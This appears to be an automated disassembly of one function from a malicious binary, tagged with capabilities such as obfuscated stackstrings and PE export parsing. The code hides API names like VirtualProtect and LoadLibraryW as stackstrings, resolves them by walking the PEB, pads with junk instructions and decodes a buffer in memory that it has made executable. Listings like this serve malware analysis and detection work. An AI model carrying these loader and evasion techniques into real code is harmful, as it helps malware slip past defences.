Function at 0x406970
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ecx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
add edx, 0x9328
add edx, 0x175b7
sub edx, 0x1a38
pop edx
push eax
xor eax, 0x13c7d
call 0x406a05
add byte [esi + esi + 0x4e], cl
dec ecx
aaa
inc eax
push eax
add esp, 4
sub eax, 0x23cc
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ecx
push ebx
add esp, 4
or ecx, 0xd07b
xor ecx, 0x1109a
xor ecx, 0x58cc
sub ecx, 0x116d0
pop ecx
push eax
sub eax, 0x8cb9
or eax, 0x131ba
sub eax, 0x12bf3
pop eax
cmp dword [ebp - 0x150c], 0
jne 0x406a80
mov dword [ebp - 0x2a8], 0
jmp 0x406d27
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push esi
push edi
add esp, 4
or esi, 0xcf99
or esi, 0x55ed
pop esi
push ebx
add ebx, 0xc120
pop ebx
push eax
push edi
add esp, 4
or eax, 0x1055
xor eax, 0x73e2
add eax, 0xc916
pop eax
cmp dword [ebp - 0xc4c], 0
jne 0x406adc
mov dword [ebp - 0x2a8], 0
jmp 0x406d27
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push esi
push esi
add esp, 4
add esi, 0x13243
pop esi
push ebx
push edi
add esp, 4
and ebx, 0x9e14
pop ebx
push esi
push edi
add esp, 4
or esi, 0x13e69
sub esi, 0x91b
pop esi
push eax
xor eax, 0xd9ac
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push eax
push ecx
add esp, 4
xor eax, 0x2df
call 0x406b5d
add byte [edx], bh
inc ebx
dec esp
aaa
dec eax
aaa
inc esi
dec edi
add esp, 4
call 0x406b6c
add byte [edi], bh
cmp dword [esi + ecx*2 + 0x4a], ecx
xor al, 0x83
les eax, [ecx + eax*4]
invalid
push ebx
xor ebx, 0x8d48
xor ebx, 0x1519e
pop ebx
push edi
jmp 0x406d3c
pop edi
push edi
jmp 0x406d45
and edi, 0x17812
sub edi, 0x69a2
jmp 0x406d58
pop edi
cmp dword [ebp - 0x2a8], 0
jne 0x40765e
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
or ecx, 0xa80d
and ecx, 0x11998
or ecx, 0x1f75
pop ecx
push ebx
jmp 0x406e1d
jmp 0x406e24
and ebx, 0xc0a3
xor ebx, 0x9526
pop ebx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
jmp 0x406ebc
or ecx, 0x875a
sub ecx, 0x16c56
xor ecx, 0x1716c
pop ecx
push ebx
call 0x406edc
add byte [edx + 0x35], al
dec ebx
dec eax
inc ebx
cmp eax, 0x8104c483
jecxz 0x406f02
fild dword [eax]
add byte [ebx - 0x7d], bl
mov ebp, 0xffffeae8
add byte [ebp + 0xf], dh
mov dword [ebp - 0x710], 0
jmp 0x4071a5
invalid
push eax
push edx
add esp, 4
or eax, 0xf871
pop eax
push ecx
add ecx, 0xcbad
xor ecx, 0x17f50
pop ecx
push eax
push esi
add esp, 4
add eax, 0xc3cb
and eax, 0x95b3
sub eax, 0x66a
pop eax
cmp dword [ebp - 0x710], 0
jne 0x407221
push eax
and eax, 0x11226
xor eax, 0x1c4
pop eax
push edx
push eax
add esp, 4
and edx, 0x730e
xor edx, 0xe815
add edx, 0x15223
pop edx
push edx
push edi
add esp, 4
add edx, 0x9b0b
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x407d49
push edi
push ecx
add esp, 4
xor edi, 0x13db9
pop edi
push esi
call 0x40723b
add byte [ebp + 0x4f], cl
cmp eax, 0x334a503a
add esp, 4
pop esi
push ebx
push ebx
add esp, 4
xor ebx, 0xa0b3
pop ebx
push eax
add eax, 0x36a2
pop eax
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x407292
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x407583
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4072ba
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x407583
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x4072ec
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x407583
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x407311
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x407583
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x40736b
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x407577
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4073db
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40748d
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x40748d
push eax
push ecx
add esp, 4
or eax, 0x28ce
sub eax, 0x157c0
xor eax, 0x8513
pop eax
push esi
xor esi, 0x1769f
or esi, 0x1064d
sub esi, 0x12dfb
and esi, 0xbf38
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x40747f
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x407486
jmp 0x4073cc
jmp 0x40748d
push eax
xor eax, 0xb52e
and eax, 0x11a17
add eax, 0x1512f
pop eax
push ecx
add ecx, 0x742d
xor ecx, 0xa5b7
xor ecx, 0x4c0f
pop ecx
push ebx
jmp 0x4074be
pop ebx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x4074ec
mov dword [ebp - 0xc5c], 0
jmp 0x40755b
push ebx
push eax
add esp, 4
or ebx, 0xdb61
sub ebx, 0xcbfd
pop ebx
push ecx
sub ecx, 0x73e3
call 0x407514
add byte [edi + 0x40], cl
inc edi
xor al, 0x49
cmp eax, dword [eax - 0x7d]
les eax, [ecx + eax*4]
ror dword [esi + 0x2a], 1
add byte [ecx - 0x75], bl
invalid
cmp dword [ebp - 0xc5c], 0
jne 0x407572
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x407583
jmp 0x40735c
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x40765e
push esi
or esi, 0xf3dc
pop esi
push esi
push ecx
add esp, 4
sub esi, 0x2470
add esi, 0x9e6a
or esi, 0x1642e
pop esi
push esi
push ebx
add esp, 4
or esi, 0x14753
or esi, 0x91f4
pop esi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push eax
push edi
add esp, 4
call 0x4075e0
add byte [edx], bh
cmp al, 0x38
dec ebp
cmp dh, byte ss:[esi]
add esp, 4
call 0x4075f3
add byte [esi + edi], dh
dec eax
cmp byte [edi], bh
push eax
inc edx
inc eax
inc eax
inc edx
add esp, 4
jmp 0x4075ff
pop eax
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x40765e
push ebx
push edi
add esp, 4
xor ebx, 0xf713
and ebx, 0x15511
sub ebx, 0x15d64
pop ebx
push esi
or esi, 0xecc7
add esi, 0xbcff
or esi, 0x12e7a
add esi, 0x405f
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x407d49
push esi
push esi
add esp, 4
and esi, 0xd669
and esi, 0x5b9c
pop esi
push ecx
push edx
add esp, 4
xor ecx, 0x54dd
jmp 0x407683
add ecx, 0x15b17
jmp 0x40768f
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edi
push edx
add esp, 4
add edi, 0x18a3
pop edi
push eax
sub eax, 0xf806
call 0x4076da
add byte [edx], dh
push eax
cmp eax, dword [ebp + 0x38]
aas
dec ebx
xor al, 0x83
les eax, [ecx + eax*4]
invalid
push edx
push eax
add esp, 4
sub edx, 0x3436
and edx, 0xb491
xor edx, 0xd653
pop edx
push esi
or esi, 0xa6c1
sub esi, 0x99f8
xor esi, 0xe7c4
sub esi, 0x10c8e
pop esi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x407dee
push ecx
xor ecx, 0xc9a1
pop ecx
push ebx
sub ebx, 0xa00f
pop ebx
push edx
add edx, 0xe1b0
add edx, 0x1062f
jmp 0x407dcd
pop edx
push eax
push ecx
add esp, 4
xor eax, 0xf434
pop eax
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x407e0b
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x407e67
push esi
or esi, 0x184f
xor esi, 0x84fd
pop esi
push ecx
sub ecx, 0x105d3
pop ecx
push ebx
sub ebx, 0xf38a
sub ebx, 0x16a5a
pop ebx
push eax
and eax, 0x3cb
and eax, 0x9e01
pop eax
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x407dfc
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x407edf
push eax
push edx
add esp, 4
xor eax, 0x1463c
and eax, 0xfbb5
pop eax
push ebx
push ebx
add esp, 4
call 0x407ebf
add byte [edx], bh
aaa
dec esp
dec edi
dec edi
inc eax
dec edx
inc esp
aas
add esp, 4
pop ebx
push esi
xor esi, 0xc5f9
pop esi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push edx
call 0x407eed
add byte [eax + 0x47], dl
inc esi
inc esi
aas
add esp, 4
pop edx
push eax
add eax, 0xfce
call 0x407f07
add byte [ebp + 0x4a], cl
dec edi
inc ebp
cmp ecx, dword ss:[ebp + 0x44]
add esp, 4
xor eax, 0x1602
pop eax
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff05ff
pop ecx
push esi
push esi
mov cl, cl
or dword [esi + 0x530acc6], eax
add eax, 0xda54ee86
add eax, 0xde68605
outsb dx, byte [esi]
push es
add eax, 0x885b575e
leave
or dword [esi + 0x547c5e7], eax
add eax, 0xd8d2f786
add eax, 0x3d0bf005
inc edi
inc esp
push esp
inc edi
dec eax
pop edi
mov edi, 0x5050570
imul ecx, dword [esi + 0x4eec19a], 4
mov ebp, 0x505056a
imul ecx, dword [esi + 0x4eec38a], 4
mov esi, 0x5050577
imul ecx, dword [esi + 0x4eec592], 4
mov edi, 0x5050573
imul ecx, dword [esi + 0x4eec79a], 4
mov ebp, 0x505056a
imul ecx, dword [esi + 0x4eec98a], 4
mov esi, 0x5050571
imul ecx, dword [esi + 0x4eecb92], 4
mov edi, 0x5050538
invalid
invalid